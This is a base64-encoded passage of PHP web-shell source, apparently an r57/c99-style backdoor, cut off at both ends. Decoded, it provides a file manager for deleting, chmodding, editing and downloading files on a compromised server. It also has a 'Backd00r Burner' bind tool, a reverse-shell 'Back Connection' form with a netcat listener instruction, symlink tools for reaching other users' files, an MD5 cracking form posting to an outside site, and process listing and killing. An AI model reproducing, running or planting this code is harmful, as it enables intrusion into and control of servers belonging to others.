k7IAogICAgaWYgKCRvID09ICIuIikgCiAgICB7IAogICAgICRyb3dbXSA9ICI8Zm9udCBmYWNlPXdpbmdkaW5ncyBzaXplPS0xPkRpcjwvZm9udD4gPGEgaHJlZj1cIiIuJHN1cmwuInh0dXg9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZShyZWFscGF0aCgkZC4kbykpLiImc29ydD0iLiRzb3J0LiJcIj4iLiRvLiI8L2E+IjsgCiAgICAgJHJvd1tdID0gIkxJTksiOyAKICAgIH0gCiAgICBlbHNlaWYgKCRvID09ICIuLiIpIAogICAgeyAKICAgICAkcm93W10gPSAiPGZvbnQgZmFjZT13aW5nZGluZ3Mgc2l6ZT0tMT5EaXI8L2ZvbnQ+IDxhIGhyZWY9XCIiLiRzdXJsLiJ4dHV4PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUocmVhbHBhdGgoJGQuJG8pKS4iJnNvcnQ9Ii4kc29ydC4iXCI+Ii4kby4iPC9hPiI7IAogICAgICRyb3dbXSA9ICJMSU5LIjsgCiAgICB9IAogICAgZWxzZWlmIChpc19kaXIoJHYpKSAKICAgIHsgCiAgICAgaWYgKGlzX2xpbmsoJHYpKSAKICAgICB7IAoJJGRpc3BwYXRoIC49ICIgPT4gIi5yZWFkbGluaygkdik7IAoJJHR5cGUgPSAiTElOSyI7IAoJJHJvd1tdID0gICI8Zm9udCBmYWNlPXdpbmdkaW5ncyBzaXplPS0xPkRpcjwvZm9udD4gPGEgaHJlZj1cIiIuJHN1cmwuInh0dXg9bHMmZD0iLiR1di4iJnNvcnQ9Ii4kc29ydC4iXCI+WyIuJGRpc3BwYXRoLiJdPC9hPiI7IAoJfSBlbHNlIHsKCSR0eXBlID0gIkRJUiI7IAoJJHJvd1tdID0gICI8Zm9udCBmYWNlPXdpbmdkaW5ncyBzaXplPS0xPkRpcjwvZm9udD4gPGEgaHJlZj1cIiIuJHN1cmwuInh0dXg9bHMmZD0iLiR1di4iJnNvcnQ9Ii4kc29ydC4iXCI+WyIuJGRpc3BwYXRoLiJdPC9hPiI7IAogICAgICB9IAogICAgICRyb3dbXSA9ICR0eXBlOyAKICAgIH0gCiAgICBlbHNlaWYoaXNfZmlsZSgkdikpIAogICAgeyAKICAgICAkZXh0ID0gZXhwbG9kZSgiLiIsJG8pOyAKICAgICAkYyA9IGNvdW50KCRleHQpLTE7IAogICAgICRleHQgPSAkZXh0WyRjXTsgCiAgICAgJGV4dCA9IHN0cnRvbG93ZXIoJGV4dCk7IAogICAgICRyb3dbXSA9ICAiPGZvbnQgZmFjZT13aW5nZGluZ3Mgc2l6ZT0tMj5GaWxlPC9mb250PiA8YSBocmVmPVwiIi4kc3VybC4ieHR1eD1mJmY9Ii4kdW8uIiZkPSIuJHVkLiImXCI+Ii4kZGlzcHBhdGguIjwvYT4iOyAKICAgICAkcm93W10gPSB2aWV3X3NpemUoJGFbMV0pOyAKICAgIH0gCgkkcm93W10gPSBkYXRlKCJkLm0uWSBIOmk6cyIsJGFbMl0pOyAKICAgIGlmICghJHdpbikgeyRyb3dbXSA9ICRhWzNdO30gCgkkcm93W10gPSAiPGEgaHJlZj1cIiIuJHN1cmwuInh0dXg9Y2htb2QmZj0iLiR1by4iJmQ9Ii4kdWQuIlwiPiIudmlld19wZXJtc19jb2xvcigkdikuIjwvYT4iOyAKICAgIGlmICgkbyA9PSAiLiIpIHskY2hlY2tib3ggPSAiPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJ4dHV4Ym94W11cIiBvbmNsaWNrPVwibHNfcmV2ZXJzZV9hbGwoKTtcIj4iOyAkaS0tOwoJfWVsc2UgewoJJGNoZWNrYm94ID0gIjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwieHR1eGJveFtdXCIgaWQ9XCJ4dHV4Ym94Ii4kaS4iXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiJcIj4iO30gCiAgICBpZiAoaXNfZGlyKCR2KSkgeyRyb3dbXSA9ICI8YSBocmVmPVwiIi4kc3VybC4ieHR1eD1kJmQ9Ii4kdXYuIlwiPkluZm88L2E+ICIuJGNoZWNrYm94OwoJfSBlbHNlIHsKCSRyb3dbXSA9ICI8YSBocmVmPVwiIi4kc3VybC4ieHR1eD1mJmY9Ii4kdW8uIiZmdD1pbmZvJmQ9Ii4kdWQuIlwiPkluZm88L2E+ICYjODc3NjsKCTxhIGhyZWY9XCIiLiRzdXJsLiJ4dHV4PWYmZj0iLiR1by4iJmZ0PWVkaXQmZD0iLiR1ZC4iXCI+RWRpdDwvYT4gJiM4Nzc2OwoJPGEgaHJlZj1cIiIuJHN1cmwuInh0dXg9ZiZmPSIuJHVvLiImZnQ9ZG93bmxvYWQmZD0iLiR1ZC4iXCI+RG93bmxvYWQ8L2E+ICIuJGNoZWNrYm94O30gCiAgICBpZiAoKCRvID09ICIuIikgb3IgKCRvID09ICIuLiIpKSB7JHRhYlsiaGVhZCJdW10gPSAkcm93O30gCiAgICBlbHNlaWYgKGlzX2xpbmsoJHYpKSB7JHRhYlsibGlua3MiXVtdID0gJHJvdzt9IAogICAgZWxzZWlmIChpc19kaXIoJHYpKSB7JHRhYlsiZm9sZGVycyJdW10gPSAkcm93O30gCiAgICBlbHNlaWYgKGlzX2ZpbGUoJHYpKSB7JHRhYlsiZmlsZXMiXVtdID0gJHJvdzt9IAogICAgJGkrKzsgCiAgIH0gCiAgfSAKLy8gQ29tcGlsaW5nIHRhYmxlIAokdGFibGUgPSBhcnJheV9tZXJnZSgkdGFiWyJjb2xzIl0sJHRhYlsiaGVhZCJdLCR0YWJbImZvbGRlcnMiXSwkdGFiWyJsaW5rcyJdLCR0YWJbImZpbGVzIl0pOyAKZWNobyAiPGNlbnRlcj5EYWZ0YXIgKCIuY291bnQoJHRhYlsiZmlsZXMiXSkuIiBmaWxlcyBhbmQgIi4oY291bnQoJHRhYlsiZm9sZGVycyJdKStjb3VudCgkdGFiWyJsaW5rcyJdKSkuIiBmb2xkZXJzKTwvY2VudGVyPjxicj4KPFRBQkxFIGNlbGxTcGFjaW5nPTAgY2VsbFBhZGRpbmc9MCB3aWR0aD0xMDAlIGJnY29sb3I9dHJhbnNwYXJlbnQgYm9yZGVyQ29sb3JMaWdodD0jOTkwMDAwIGJvcmRlcj0wPjxmb3JtIGFjdGlvbj1cIiIuJHN1cmwuIlwiIG1ldGhvZD1QT1NUIG5hbWU9XCJsc19mb3JtXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9eHR1eCB2YWx1ZT0iLiRkc3BhY3QuIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSIuJGQuIj4iOyAKZm9yZWFjaCgkdGFibGUgYXMgJHJvdykgCiAgeyAKICAgZWNobyAiPHRyPlxyXG4iOyAKICAgZm9yZWFjaCgkcm93IGFzICR2KSB7ZWNobyAiPHRkPiIuJHYuIjwvdGQ+XHJcbiI7fSAKICAgZWNobyAiPC90cj5cclxuIjsgCiAgfSAKICBlY2hvICI8L3RhYmxlPjxociBzaXplPVwiMVwiIG5vc2hhZGU+PHAgYWxpZ249XCJyaWdodFwiPiAKICA8c2NyaXB0PiAKICBmdW5jdGlvbiBsc19zZXRjaGVja2JveGFsbChzdGF0dXMpIAogIHsgCiAgIHZhciBpZCA9IDE7IAogICB2YXIgbnVtID0gIi4oY291bnQoJHRhYmxlKS0yKS4iOyAKICAgd2hpbGUgKGlkIDw9IG51bSkgCiAgIHsgCiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgneHR1eGJveCcraWQpLmNoZWNrZWQgPSBzdGF0dXM7IAogICAgaWQrKzsgCiAgIH0gCiAgfSAKICBmdW5jdGlvbiBsc19yZXZlcnNlX2FsbCgpIAogIHsgCiAgIHZhciBpZCA9IDE7IAogICB2YXIgbnVtID0gIi4oY291bnQoJHRhYmxlKS0yKS4iOyAKICAgd2hpbGUgKGlkIDw9IG51bSkgCiAgIHsgCiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgneHR1eGJveCcraWQpLmNoZWNrZWQgPSAhZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3h0dXhib3gnK2lkKS5jaGVja2VkOyAKICAgIGlkKys7IAogICB9IAogIH0gCiAgPC9zY3JpcHQ+IAogIDxpbnB1dCB0eXBlPVwiYnV0dG9uXCIgb25jbGljaz1cImxzX3NldGNoZWNrYm94YWxsKHRydWUpO1wiIHZhbHVlPVwiU2VsZWN0IGFsbFwiPiA8aW5wdXQgdHlwZT1cImJ1dHRvblwiIG9uY2xpY2s9XCJsc19zZXRjaGVja2JveGFsbChmYWxzZSk7XCIgdmFsdWU9XCJVbnNlbGVjdCBhbGxcIj4gIAoJPGI+JiM4Nzc2OyAiOwogIGlmIChjb3VudChhcnJheV9tZXJnZSgkc2Vzc19kYXRhWyJjb3B5Il0sJHNlc3NfZGF0YVsiY3V0Il0pKSA+IDAgYW5kICgkdXNlZnNidWZmKSkgCiAgeyAKICAgZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9XCJhY3RwYXN0ZWJ1ZmZcIiB2YWx1ZT1cIlBhY2sgYnVmZmVyIHRvIGFyY2hpdmVcIj4gPGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImFjdGFyY2J1ZmZfcGF0aFwiIHZhbHVlPVwiYXJjaGl2ZV8iLnN1YnN0cihtZDUocmFuZCgxLDEwMDApLnJhbmQoMSwxMDAwKSksMCw1KS4iLnRhci5nelwiPiA8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1cImFjdHBhc3RlYnVmZlwiIHZhbHVlPVwiUGFzdGVcIj4gPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9XCJhY3RlbXB0eWJ1ZmZcIiB2YWx1ZT1cIkVtcHR5IGJ1ZmZlclwiPiI7IAogIH0gCiAgZWNobyAiPHNlbGVjdCBuYW1lPXh0dXg+PG9wdGlvbiB2YWx1ZT1cIiIuJGFjdC4iXCI+V2l0aCBzZWxlY3RlZDo8L29wdGlvbj4iOyAKICBlY2hvICI8b3B0aW9uIHZhbHVlPWRlbGV0ZSIuKCRkc3BhY3QgPT0gImRlbGV0ZSI/IiBzZWxlY3RlZCI6IiIpLiI+RGVsZXRlPC9vcHRpb24+IjsgCiAgZWNobyAiPG9wdGlvbiB2YWx1ZT1jaG1vZCIuKCRkc3BhY3QgPT0gImNobW9kIj8iIHNlbGVjdGVkIjoiIikuIj5DaGFuZ2UtbW9kZTwvb3B0aW9uPiI7IAogIGlmICgkdXNlZnNidWZmKSAKICB7IAogICBlY2hvICI8b3B0aW9uIHZhbHVlPWN1dCIuKCRkc3BhY3QgPT0gImN1dCI/IiBzZWxlY3RlZCI6IiIpLiI+Q3V0PC9vcHRpb24+IjsgCiAgIGVjaG8gIjxvcHRpb24gdmFsdWU9Y29weSIuKCRkc3BhY3QgPT0gImNvcHkiPyIgc2VsZWN0ZWQiOiIiKS4iPkNvcHk8L29wdGlvbj4iOyAKICAgZWNobyAiPG9wdGlvbiB2YWx1ZT11bnNlbGVjdCIuKCRkc3BhY3QgPT0gInVuc2VsZWN0Ij8iIHNlbGVjdGVkIjoiIikuIj5VbnNlbGVjdDwvb3B0aW9uPiI7IAogIH0gCiAgZWNobyAiPC9zZWxlY3Q+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVwiQ29uZmlybVwiPjwvcD4iOyAKICBlY2hvICI8L2Zvcm0+IjsgCiB9IAp9CmlmICgkeHR1eCA9PSAidG9vbHMiKSAKewo/PiAKPFRBQkxFIHN0eWxlPSJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlIiBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jOTkwMDAwIGNlbGxQYWRkaW5nPTUgaGVpZ2h0PSIxMTYiIHdpZHRoPSIxMDAlIiBiZ2NvbG9yPXRyYW5zcGFyZW50IGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT4KPHRyPjx0ZCBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIiBjb2xzcGFuPSIyIj48cCBhbGlnbj0iY2VudGVyIj46OiA8YSBocmVmPSI8P3BocCBlY2hvICRzdXJsOyA/Pnh0dXg9dG9vbHMiPnI1NyBCaW5kPC9hPiA6OjwvcD48L3RkPjwvdHI+Cjx0cj48dGQgd2lkdGg9IjUwJSIgaGVpZ2h0PSI4MyIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+PGRpdiBhbGlnbj0iY2VudGVyIj48L2Rpdj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij5CaW5kIFdpdGggQmFja2QwMHIgQnVybmVyPGJyLz4KCTxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDs/PiI+Cgk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT14dHV4IHZhbHVlPXRvb2xzPgoJPHNlbGVjdCBzaXplPVwiMVwiIG5hbWU9ZG9sbWE+PG9wdGlvbiB2YWx1ZT0id2dldGNhbiI+VXNlIFdnZXQ8L29wdGlvbj4KCTxvcHRpb24gdmFsdWU9Imx5bnhjYW4iPlVzZSBseW54IC1kdW1wPC9vcHRpb24+Cgk8b3B0aW9uIHZhbHVlPSJmcmVhZGNhbiI+VXNlIEZyZWFkPC9vcHRpb24+PC9zZWxlY3Q+PGJyLz48YnIvPgoJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJ1cm4gaXQgYkFieSI+PC9mb3JtPgo8L3RkPgo8dGQgd2lkdGg9IjUwJSIgaGVpZ2h0PSI4MyIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+QmFjayBDb25uZWN0aW9uPGJyLz48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7Pz4iPiBJcCAoZGVmYXVsdCBpcyB5b3VyIGlwKSA6PGJyLz4KCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXh0dXggdmFsdWU9dG9vbHM+Cgk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iaXBpIiB2YWx1ZT0iPD9lY2hvIGdldGVudignUkVNT1RFX0FERFInKTs/PiI+PGJyLz5Qb3J0Ojxici8+Cgk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icGlwaSIgdmFsdWU9IjQzOTIiPjxici8+Cgk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQzBubmVjdCAtPiI+PC9mb3JtPjxici8+CglDbGljayAiQ29ubmVjdCIgb25seSBhZnRlciBvcGVuIHBvcnQgZm9yIGl0LiBZb3Ugc2hvdWxkIHVzZSBOZXRDYXQmY29weTssIHJ1biAibmMgLWwgLW4gLXYgLXAgPD9waHAgZWNobyAkYmNfcG9ydDsgPz4iITxicj48YnI+PC9jZW50ZXI+PC90ZD48L3RyPjwvVEFCTEU+CjxUQUJMRSBzdHlsZT0iQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZSIgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9Izk5MDAwMCBjZWxsUGFkZGluZz01IGhlaWdodD0iMTE2IiB3aWR0aD0iMTAwJSIgYmdjb2xvcj10cmFuc3BhcmVudCBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+Cjx0cj48dGQgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCIgY29sc3Bhbj0iMiI+PHAgYWxpZ249ImNlbnRlciI+OjogPGEgaHJlZj0iPD9waHAgZWNobyAkc3VybDsgPz54dHV4PXRvb2xzIj5NYXNzIE1ENSBPbmxpbmUgQ3JhY2tlciAmIFN5bWxpbms8L2E+IDo6PC9wPjwvdGQ+PC90cj4KPHRyPjx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjgzIiB2YWxpZ249InRvcCI+PGNlbnRlcj48ZGl2IGFsaWduPSJjZW50ZXIiPk1BU1MgTUQ1IE9ubGluZSBDcmFja2VyCgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iaHR0cDovL3d3dy5oYXNoY2hlY2tlci5kZS9oYXNoLmNnaSI+Cgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJjaGVjayI+Cgk8dGV4dGFyZWEgdHlwZT0idGV4dCIgbmFtZT0iaGFzaCIgY29scz0iNjAiIHJvd3M9IjEyIj48L3RleHRhcmVhPjwvYnI+Cgk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU3VjaGVuIiBvbmNsaWNrPSJ0aGlzLmZvcm0udGFyZ2V0PSdfYmxhbmsnO3JldHVybiB0cnVlOyI+PC9mb3JtPjwvZGl2PjwvdGQ+Cjx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjgzIiB2YWxpZ249InRvcCI+PGNlbnRlcj4KPGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiI+CjxwIGFsaWduPSJjZW50ZXIiPlN5bUxpbmsgV2l0aCBQSFA8YnI+PGlucHV0IG5hbWU9YWQxc3lwIHNpemU9NTA+IFRPIDxpbnB1dCB2YWx1ZT0iPD9waHAgZWNobyAkcmVhbC4iL3N5bWxpbmsudHh0IiA/PiIgbmFtZT1hZDJzeXAgc2l6ZT01MD48YnI+CjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1TeW1MaW5rIT48L2Zvcm0+PGJyIC8+PGJyIC8+PGJyIC8+Cjxmb3JtIG1ldGhvZD1wb3N0IGFjdGlvbj1hY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij4KPHAgYWxpZ249ImNlbnRlciI+U3ltTGluayBXaXRoIE9TIDxicj48aW5wdXQgbmFtZT1hZDFzeWMgc2l6ZT01MD4gVE8gPGlucHV0IHZhbHVlPSI8P3BocCBlY2hvICRyZWFsLiIvc3ltbGluay50eHQiID8+IiBuYW1lPWFkMnN5YyBzaXplPTUwPjxicj4KPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVN5bUxpbmshPjwvcD48L2Zvcm0+PGJyIC8+PGJyIC8+PGJyIC8+PC9jZW50ZXI+PC90ZD48L3RyPjwvVEFCTEU+Cjw/cGhwCgp9CmlmICgkeHR1eCA9PSAicHJvY2Vzc2VzIikgCnsgCiBlY2hvICJQcm9jZXNzZXM6PGJyPiI7IAoJaWYgKCEkd2luKSB7JGhhbmRsZXIgPSAicHMgLWF1eCIuKCRncmVwPyIgfCBncmVwICciLmFkZHNsYXNoZXMoJGdyZXApLiInIjoiIik7IH0gZWxzZSB7CiRoYW5kbGVyID0gInRhc2tsaXN0Ijt9IAokcmV0ID0gbzJ4ZGFleGVjKCRoYW5kbGVyKTsgCglpZiAoISRyZXQpIHtlY2hvICJDYW4ndCBleGVjdXRlIFwiIi4kaGFuZGxlci4iXCIhIjsgfSBlbHNlIHsgCglpZiAoZW1wdHkoJHByb2Nlc3Nlc19zb3J0KSkgeyRwcm9jZXNzZXNfc29ydCA9ICRzb3J0X2RlZmF1bHQ7fSAKJHBhcnNlc29ydCA9IHBhcnNlc29ydCgkcHJvY2Vzc2VzX3NvcnQpOyAKCWlmICghaXNfbnVtZXJpYygkcGFyc2Vzb3J0WzBdKSkgeyRwYXJzZXNvcnRbMF0gPSAwO30gCiRrID0gJHBhcnNlc29ydFswXTsgCglpZiAoJHBhcnNlc29ydFsxXSAhPSAiYSIpIHsKJHkgPSAiPGEgaHJlZj1cIiIuJHN1cmwuInh0dXg9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZwcm9jZXNzZXNfc29ydD0iLiRrLiJhXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4dHV4PWltZyZpbWc9c29ydF9kZXNjXCIgaGVpZ2h0PVwiOVwiIHdpZHRoPVwiMTRcIiBib3JkZXI9XCIwXCI+PC9hPiI7IH0gZWxzZSB7CiR5ID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJ4dHV4PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImcHJvY2Vzc2VzX3NvcnQ9Ii4kay4iZFwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieHR1eD1pbWcmaW1nPXNvcnRfYXNjXCIgaGVpZ2h0PVwiOVwiIHdpZHRoPVwiMTRcIiBib3JkZXI9XCIwXCI+PC9hPiI7IH0gCiRyZXQgPSBodG1sc3BlY2lhbGNoYXJzKCRyZXQpOyAKICBpZiAoISR3aW4pIAogIHsgCiAgIGlmICgkcGlkKSAKICAgeyAKCWlmIChpc19udWxsKCRzaWcpKSB7JHNpZyA9IDk7fSAKCWVjaG8gIlNlbmRpbmcgc2lnbmFsICIuJHNpZy4iIHRvICMiLiRwaWQuIi4uLiAiOyAKCWlmIChwb3NpeF9raWxsKCRwaWQsJHNpZykpIHsgZWNobyAiT0suIjsgfSBlbHNlIHsKCWVjaG8gIkVSUk9SLiI7IH0gCiAgIH0gCiAgIHdoaWxlIChlcmVnKCIgICIsJHJldCkpIHskcmV0ID0gc3RyX3JlcGxhY2UoIiAgIiwiICIsJHJldCk7fSAKICAgJHN0YWNrID0gZXhwbG9kZSgiXG4iLCRyZXQpOyAKICAgJGhlYWQgPSBleHBsb2RlKCIgIiwkc3RhY2tbMF0pOyAKICAgdW5zZXQoJHN0YWNrWzBdKTsgCiAgIGZvcigkaT0wOyRpPGNvdW50KCRoZWFkKTskaSsrKSAKICAgeyAKICAgIGlmICgkaSAhPSAkaykgeyRoZWFkWyRpXSA9ICI8YSBocmVmPVwiIi4kc3VybC4ieHR1eD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKCRkKS4iJnByb2Nlc3Nlc19zb3J0PSIuJGkuJHBhcnNlc29ydFsxXS4iXCI+Ii4kaGVhZFskaV0uIjwvYT4iO30gCiAgIH0gCiAgICRwcmNzID0gYXJyYXkoKTsgCiAgIGZvcmVhY2ggKCRzdGFjayBhcyAkbGluZSkgCiAgIHsgCiAgICBpZiAoIWVtcHR5KCRsaW5lKSkgCnsgCiBlY2hvICI8dHI+IjsgCiAgICAgJGxpbmUgPSBleHBsb2RlKCIgIiwkbGluZSk7IAogICAgICRsaW5lWzEwXSA9IGpvaW4oIiAiLGFycmF5X3NsaWNlKCRsaW5lLDEwKSk7IAogICAgICRsaW5lID0gYXJyYXlfc2xpY2UoJGxpbmUsMCwxMSk7IAogICAgIGlmICgkbGluZVswXSA9PSBnZXRfY3VycmVudF91c2VyKCkpIHskbGluZVswXSA9ICI8Zm9udCBjb2xvcj1ncmVlbj4iLiRsaW5lWzBdLiI8L2ZvbnQ+Ijt9IAogICAgICRsaW5lW10gPSAiPGEgaHJlZj1cIiIuJHN1cmwuInh0dXg9cHJvY2Vzc2VzJmQ9Ii51cmxlbmNvZGUoJGQpLiImcGlkPSIuJGxpbmVbMV0uIiZzaWc9OVwiPjx1PktJTEw8L3U+PC9hPiI7IAogICAgICRwcmNzW10gPSAkbGluZTsgCiAgICAgZWNobyAiPC90cj4iOyAKICAgIH0gCiAgIH0gCiAgfSBlbHNlIHsgCiAgIHdoaWxlIChlcmVnKCIgICIsJHJldCkpIHskcmV0ID0gc3RyX3JlcGxhY2UoIiAgIiwiIiwkcmV0KTt9IAogICB3aGlsZSAoZXJlZygiICAiLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBsYWNlKCIgICIsIiIsJHJldCk7fSAKICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiICAiLCIiLCRyZXQpO30gCiAgIHdoaWxlIChlcmVnKCIgICIsJHJldCkpIHskcmV0ID0gc3RyX3JlcGxhY2UoIiAgIiwiIiwkcmV0KTt9IAogICB3aGlsZSAoZXJlZygiICAiLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBsYWNlKCIgICIsIiIsJHJldCk7fSAKICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiICAiLCIiLCRyZXQpO30gCiAgIHdoaWxlIChlcmVnKCIgICIsJHJldCkpIHskcmV0ID0gc3RyX3JlcGxhY2UoIiAgIiwiIiwkcmV0KTt9IAogICB3aGlsZSAoZXJlZygiICAiLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBsYWNlKCIgICIsIiIsJHJldCk7fSAKICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiICAiLCIiLCRyZXQpO30gCiAgIHdoaWxlIChlcmVnKCIiLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBsYWNlKCIiLCIiLCRyZXQpO30gCiAgIHdoaWxlIChlcmVnKCIgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiICIsIiIsJHJldCk7fSAKICAgJHJldCA9IGNvbnZlcnRfY3lyX3N0cmluZygkcmV0LCJkIiwidyIpOyAKICAgJHN0YWNrID0gZXhwbG9kZSgiXG4iLCRyZXQpOyAKICAgdW5zZXQoJHN0YWNrWzBdLCRzdGFja1syXSk7IAogICAkc3RhY2sgPSBhcnJheV92YWx1ZXMoJHN0YWNrKTsgCiAgICRoZWFkID0gZXhwbG9kZSgiIiwkc3RhY2tbMF0pOyAKICAgJGhlYWRbMV0gPSBleHBsb2RlKCIgIiwkaGVhZFsxXSk7IAogICAkaGVhZFsxXSA9ICRoZWFkWzFdWzBdOyAKICAgJHN0YWNrID0gYXJyYXlfc2xpY2UoJHN0YWNrLDEpOyAKICAgdW5zZXQoJGhlYWRbMl0pOyAKICAgJGhlYWQgPSBhcnJheV92YWx1ZXMoJGhlYWQpOyAKICAgaWYgKCRwYXJzZXNvcnRbMV0gIT0gImEiKSB7JHkgPSAiPGEgaHJlZj1cIiIuJHN1cmwuInh0dXg9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZwcm9jZXNzZXNfc29ydD0iLiRrLiJhXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4dHV4PWltZyZpbWc9c29ydF9kZXNjXCIgaGVpZ2h0PVwiOVwiIHdpZHRoPVwiMTRcIiBib3JkZXI9XCIwXCI+PC9hPiI7fSAKICAgZWxzZSB7JHkgPSAiPGEgaHJlZj1cIiIuJHN1cmwuInh0dXg9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZwcm9jZXNzZXNfc29ydD0iLiRrLiJkXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4dHV4PWltZyZpbWc9c29ydF9hc2NcIiBoZWlnaHQ9XCI5XCIgd2lkdGg9XCIxNFwiIGJvcmRlcj1cIjBcIj48L2E+Ijt9IAogICBpZiAoJGsgPiBjb3VudCgkaGVhZCkpIHskayA9IGNvdW50KCRoZWFkKS0xO30gCiAgIGZvcigkaT0wOyRpPGNvdW50KCRoZWFkKTskaSsrKSAKICAgeyAKICAgIGlmICgkaSAhPSAkaykgeyRoZWFkWyRpXSA9ICI8YSBocmVmPVwiIi4kc3VybC4ieHR1eD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKCRkKS4iJnByb2Nlc3Nlc19zb3J0PSIuJGkuJHBhcnNlc29ydFsxXS4iXCI+Ii50cmltKCRoZWFkWyRpXSkuIjwvYT4iO30gCiAgIH0gCiAgICRwcmNzID0gYXJyYXkoKTsgCiAgIGZvcmVhY2ggKCRzdGFjayBhcyAkbGluZSkgCiAgIHsgCiAgICBpZiAoIWVtcHR5KCRsaW5lKSkgCiAgICB7IAogICAgIGVjaG8gIjx0cj4iOyAKICAgICAkbGluZSA9IGV4cGxvZGUoIiIsJGxpbmUpOyAKICAgICAkbGluZVsxXSA9IGludHZhbCgkbGluZVsxXSk7ICRsaW5lWzJdID0gJGxpbmVbM107IHVuc2V0KCRsaW5lWzNdKTsgCiAgICAgJGxpbmVbMl0gPSBpbnR2YWwoc3RyX3JlcGxhY2UoIiAiLCIiLCRsaW5lWzJdKSkqMTAyNDsgIAogICAgICRwcmNzW10gPSAkbGluZTsgCiAgICAgZWNobyAiPC90cj4iOyAKICAgIH0gCiAgIH0gCiAgfSAKICAkaGVhZFska10gPSAiIi4kaGVhZFska10uIiIuJHk7IAogICR2ID0gJHByb2Nlc3Nlc19zb3J0WzBdOyAKICB1c29ydCgkcHJjcywidGFic29ydCIpOyAKICBpZiAoJHByb2Nlc3Nlc19zb3J0WzFdID09ICJkIikgeyRwcmNzID0gYXJyYXlfcmV2ZXJzZSgkcHJjcyk7fSAKICAkdGFiID0gYXJyYXkoKTsgCiAgJHRhYltdID0gJGhlYWQ7IAogICR0YWIgPSBhcnJheV9tZXJnZSgkdGFiLCRwcmNzKTsgCiAgZWNobyAiPFRBQkxFIGhlaWdodD0xIGNlbGxTcGFjaW5nPTEgYm9yZGVyQ29sb3JEYXJrPSM5OTAwMDAgY2VsbFBhZGRpbmc9NSB3aWR0aD1cIjk1JVwiIGJnY29sb3I9dHJhbnNwYXJlbnQgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xIGJvcmRlcmNvbG9yPVwiI0MwQzBDMFwiPiI7IAogIGZvcmVhY2goJHRhYiBhcyAkaT0+JGspIAogIHsgCiAgIGVjaG8gIjx0cj4iOyAKICAgZm9yZWFjaCgkayBhcyAkaj0+JHYpIHtpZiAoJHdpbiBhbmQgJGkgPiAwIGFuZCAkaiA9PSAyKSB7JHYgPSB2aWV3X3NpemUoJHYpO30gZWNobyAiPHRkPiIuJHYu